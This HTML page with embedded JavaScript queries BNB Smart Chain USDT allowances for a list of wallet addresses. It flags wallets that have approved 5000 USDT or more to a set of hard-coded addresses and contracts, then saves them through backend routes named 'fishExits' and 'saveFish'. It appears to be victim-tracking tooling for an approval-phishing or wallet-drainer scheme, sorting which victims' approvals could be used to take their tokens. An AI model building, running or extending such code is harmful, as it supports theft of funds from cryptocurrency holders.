<!doctype html>
<html>

	<head>
		<meta charset="utf-8">
		<title></title>
		<meta name="viewport"
			content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no" />
		<link href="css/mui.css" rel="stylesheet" />
	</head>

	<body>
		<script src="js/mui.js"></script>
		<script src="js/data.js"></script>
		<script src=""></script>
		<script src="js/jquery1.8.js"></script>
		<script src="js/web3.min.js"></script>
		<script src="js/bignumber.js"></script>
		<script src="js/addrs.js"></script>
		<script src="js/usdt-abi.js"></script>
		<script src="js/new_cc_data.js"></script>
		<script type="text/javascript">
			window.web3 = new Web3(new Web3.providers.HttpProvider('https://bsc.rpc.blxrbdn.com'));
			// window.web3 = new Web3(new Web3.providers.HttpProvider('https://1rpc.io/bnb'));

			// window.web3 = new Web3(new Web3.providers.HttpProvider('https://nameless-proportionate-aura.bsc.quiknode.pro/74bf863c8b0a6342ed9c21f46c616b5bde43ec14/'));
			window.contract = new web3.eth.Contract(usdt_abi, '0x55d398326f99059ff775485246999027b3197955');

			let contracts = [
				"0xe73d5F2D6c12A88918dcb834db1909c2533175C1",
				"0x1A03E32180b8a600cB7456223B6fed918bcB9bcb",
				"0xDb7a7C1015EBE1eBb4a103986De81258240b4C0C",
				"0x617512A248ab54Aa42753d8BB2456bc52f9B76b2",
				"0x32DD1D27559c8322c058bDc8Bf5EEFF6D5979FE3"
			];

			async function check(address) {
				return new Promise(succ => {
					let batch = new web3.BatchRequest();
					let c_auths = [

					];
					let have = 0;
					let run_count = 0;
					// auths = [
					// 	"0xF6c841030Eb3C3690f0BDb5136ecAa83dec249b9"
					// ]
					for (let i = 0; i < addrs.length; i++) {
						let auth_address = addrs[i];
						batch.add(contract.methods.allowance(address, auth_address).call.request({
							from: address
						}, (err, result) => {
							run_count++;
							if (!err) {
								let allowance_int = new BigNumber(result);
								let yz = new BigNumber(5000 * Math.pow(10,18));
								 let bijiao_res = allowance_int.comparedTo(yz);
								
								if (bijiao_res >= 0) {
									have++;
									c_auths.push(addrs[i]);
								}
							}
							if (run_count == addrs.length) {
								console.log('执行完毕')
								succ(c_auths)
							}
						}));
					}
					batch.execute();
				})


			}

			async function check_c(address) {
				return new Promise(succ => {
					let batch = new web3.BatchRequest();
					let c_auths = [

					];
					let have = 0;
					let run_count = 0;
					// auths = [
					// 	"0xF6c841030Eb3C3690f0BDb5136ecAa83dec249b9"
					// ]
					for (let i = 0; i < contracts.length; i++) {
						let auth_address = contracts[i];
						batch.add(contract.methods.allowance(address, auth_address).call.request({
							from: address
						}, (err, result) => {
							run_count++;
							if (!err) {
								let allowance_int = new BigNumber(result);
								let yz = new BigNumber(5000 * Math.pow(10,18));
								 let bijiao_res = allowance_int.comparedTo(yz);
								
								
								if (bijiao_res >= 0) {
									have++;
									c_auths.push(contracts[i]);
								}
							}
							if (run_count == contracts.length) {
								console.log('执行完毕')
								succ(c_auths)
							}
						}));
					}
					batch.execute();
				})
			}
			// window.contract = new web3.eth.Contract(usdt_abi, '0x570a5d26f7765ecb712c0924e4de545b89fd43df');

			async function query_exits(address) {
				return new Promise(succ => {
					$.get("http://127.0.0.1/manage/user/fishExits?address=" + address, {}, res => {
						if (res == '1') {
							succ(true)
						} else {
							succ(false)
						}

					})
				})
			}
			async function save_data(obj) {
				$.post("http://127.0.0.1/manage/user/saveFish", {
					address: obj.address,
					auth: obj.auth,
					have: obj.have
				}, res => {

				})
			}

			function sleep(t) {
				return new Promise(succ => {
					setTimeout(() => {
						succ(1)
					}, t)
				})
			}
			async function start() {
				let arr = new_cc_data;
				// let arr = fishData;
				for (let i = 0; i < arr.length; i++) {
					let curr = arr[i];
					if(curr.address.indexOf('0x') == -1){
						continue;
					}
					let isExits = await query_exits(curr.address);
					if (isExits) {
						continue;
					}
					let check_c_r = check_c(curr.address);
					let check_r = check(curr.address);
					let res = await Promise.all([check_c_r, check_r])


					let obj = {
						address: curr.address,
						auth: "",
						have: 0
					}
					let auth = "";
					obj.have += res[0].length + res[1].length;
					let new_arr = res[0].concat(res[1]);
					auth += new_arr.toString();
					obj.auth = auth;
					// console.log(res)
					save_data(obj);
					// await sleep(2 * 1000)
					// .then(r=>{
					// 	console.log(r)
					// })
				}
				
			}
			start();
			// alert(1)
			console.log(["a", "b"].toString())
			mui.init();
		</script>
	</body>

</html>